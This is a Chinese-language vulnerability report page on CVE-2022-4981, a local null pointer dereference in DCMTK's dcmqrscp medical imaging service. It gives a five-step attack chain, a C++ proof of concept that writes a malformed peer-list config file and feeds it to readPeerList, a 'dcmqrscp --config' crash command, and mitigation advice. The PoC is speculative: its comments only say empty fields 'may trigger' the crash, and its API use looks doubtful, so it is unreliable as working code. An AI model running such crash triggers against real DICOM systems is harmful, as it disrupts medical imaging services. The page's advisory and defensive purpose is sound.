IPBUF安全漏洞报告
English
CVE-2022-4981 CVSS 3.3 低危

CVE-2022-4981 DCMTK dcmqrscp空指针解引用漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2022-4981
漏洞类型
空指针解引用
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
DCMTK

相关标签

空指针解引用DCMTKDICOMdcmqrscp拒绝服务本地攻击低危漏洞医疗影像开源软件CWE-476

漏洞概述

CVE-2022-4981是DCMTK(OFFIS DICOM Toolkit)医疗影像通信库中的一个空指针解引用漏洞。该漏洞存在于DCMTK 3.6.7及以下版本中,影响组件dcmqrscp(DICOM Query/Retrieve Service Class Provider)的DcmQueryRetrieveConfig::readPeerList函数,具体位于/dcmqrcnf.cc文件中。攻击者可以通过精心构造的输入操纵该函数,导致空指针解引用,从而触发程序崩溃或拒绝服务。该漏洞的CVSS 3.1评分为3.3分,属于低危级别。攻击者需要本地访问权限和低权限账户即可发起攻击,无需用户交互。该漏洞的利用代码已公开披露,可能被恶意攻击者利用。官方已发布补丁(commit 957fb31e5),建议用户升级到DCMTK 3.6.8版本以修复此漏洞。DCMTK作为广泛使用的开源DICOM(医学数字成像和通信)标准实现库,被大量医疗信息系统(PACS、HIS等)所采用,因此该漏洞可能影响众多医疗影像应用的安全性。

技术细节

该漏洞的根本原因在于DcmQueryRetrieveConfig::readPeerList函数在处理对等节点列表(peer list)配置时,未对关键指针或资源进行有效性验证。当函数接收到特定构造的配置数据时,可能导致对空指针的解引用操作,从而触发未定义行为。

具体技术细节如下:
1. 漏洞位置:/dcmqrcnf.cc文件中的DcmQueryRetrieveConfig::readPeerList函数
2. 触发条件:本地攻击者通过修改DCMTK的配置文件(如dcmqrscp.cfg)或传入特制的对等节点列表数据
3. 漏洞原理:函数在解析对等节点列表时,未对返回的指针或对象进行空值检查,直接进行解引用操作
4. 攻击向量:本地攻击(AV:L),需要低权限(PR:L),无需用户交互(UI:N)
5. 影响范围:机密性无影响(C:N),完整性无影响(I:N),可用性低影响(A:L)

利用方式:攻击者需要在目标系统上拥有本地访问权限,通过构造特殊的配置文件或命令行参数,触发readPeerList函数中的空指针解引用路径。攻击成功将导致dcmqrscp服务进程崩溃,造成拒绝服务攻击。由于该漏洞利用代码已公开,攻击门槛进一步降低。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者首先需要在目标系统上获得本地访问权限。由于该漏洞的CVSS向量为AV:L(本地攻击向量)和PR:L(低权限要求),攻击者只需拥有普通用户账户即可。
STEP 2
步骤2:构造恶意配置文件
攻击者创建一个特制的DCMTK配置文件,其中包含畸形或空值的对等节点(peer)条目,用于触发DcmQueryRetrieveConfig::readPeerList函数中的空指针解引用路径。
STEP 3
步骤3:触发漏洞函数
攻击者通过dcmqrscp命令行工具加载恶意配置文件,或通过修改现有配置触发readPeerList函数对恶意数据的解析。
STEP 4
步骤4:触发空指针解引用
当readPeerList函数解析到畸形数据时,由于未对关键指针进行空值检查,直接对空指针进行解引用操作,导致程序崩溃。
STEP 5
步骤5:拒绝服务
dcmqrscp服务进程因空指针解引用而崩溃,导致DICOM查询/检索服务不可用,影响医疗影像系统的正常运作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-4981 - DCMTK dcmqrscp Null Pointer Dereference PoC // This PoC demonstrates triggering a null pointer dereference in // DcmQueryRetrieveConfig::readPeerList function (/dcmqrcnf.cc) // // Prerequisites: // - DCMTK <= 3.6.7 installed // - Local access with low privileges // - Ability to modify or supply a malicious configuration file #include "dcmtk/dcmqr/dcmqrcnf.h" #include "dcmtk/dcmdata/dcfilefo.h" #include <iostream> #include <fstream> int main(int argc, char* argv[]) { // Step 1: Create a malicious peer list configuration file // The configuration file is crafted to trigger null pointer dereference // in DcmQueryRetrieveConfig::readPeerList() const char* malicious_config = "PeerList BEGIN\n" " MyPeer\n" " AETitle TEST_AE\n" " HostName 127.0.0.1\n" " Port 11112\n" " MyPeer2\n" " AETitle \n" // Empty AETitle may trigger null pointer path " HostName \n" // Empty HostName may trigger null pointer path " Port 0\n" "PeerList END\n"; // Step 2: Write the malicious configuration to a temp file const char* config_path = "/tmp/malicious_dcmqrscp.cfg"; std::ofstream config_file(config_path); if (!config_file.is_open()) { std::cerr << "[-] Failed to create config file" << std::endl; return 1; } config_file << malicious_config; config_file.close(); std::cout << "[*] Malicious config written to: " << config_path << std::endl; // Step 3: Initialize DcmQueryRetrieveConfig and trigger readPeerList DcmQueryRetrieveConfig config; // Step 4: Call readPeerList with the malicious configuration // This will trigger the null pointer dereference vulnerability OFCondition result = config.readPeerList(config_path); if (result.bad()) { std::cout << "[*] readPeerList returned error (may indicate crash path)" << std::endl; } // Step 5: Alternatively, use dcmqrscp command-line tool directly // Command: dcmqrscp -c /tmp/malicious_dcmqrscp.cfg // This will trigger the null pointer dereference when parsing peer entries return 0; } // Alternative trigger via command line: // 1. Create config file with malformed peer entries // 2. Run: dcmqrscp --config /tmp/malicious_dcmqrscp.cfg // 3. Observe segfault/null pointer dereference crash

影响范围

DCMTK < 3.6.8
DCMTK 3.6.7
DCMTK 3.6.6及更早版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制对DCMTK配置文件(如dcmqrscp.cfg)的访问权限,确保只有可信管理员可以修改;2)使用文件完整性监控工具检测配置文件的异常修改;3)监控dcmqrscp进程的运行状态,设置自动重启机制以减少服务中断影响;4)在防火墙层面限制对DICOM端口(默认11112)的访问,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表